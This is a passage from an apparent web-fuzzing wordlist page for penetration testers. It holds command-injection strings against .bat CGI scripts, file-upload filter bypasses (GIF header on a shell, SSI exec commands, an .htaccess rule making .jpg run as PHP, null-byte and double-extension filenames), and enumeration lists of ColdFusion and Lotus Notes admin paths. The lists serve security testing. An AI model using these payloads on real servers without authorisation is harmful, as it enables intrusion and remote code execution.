hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> 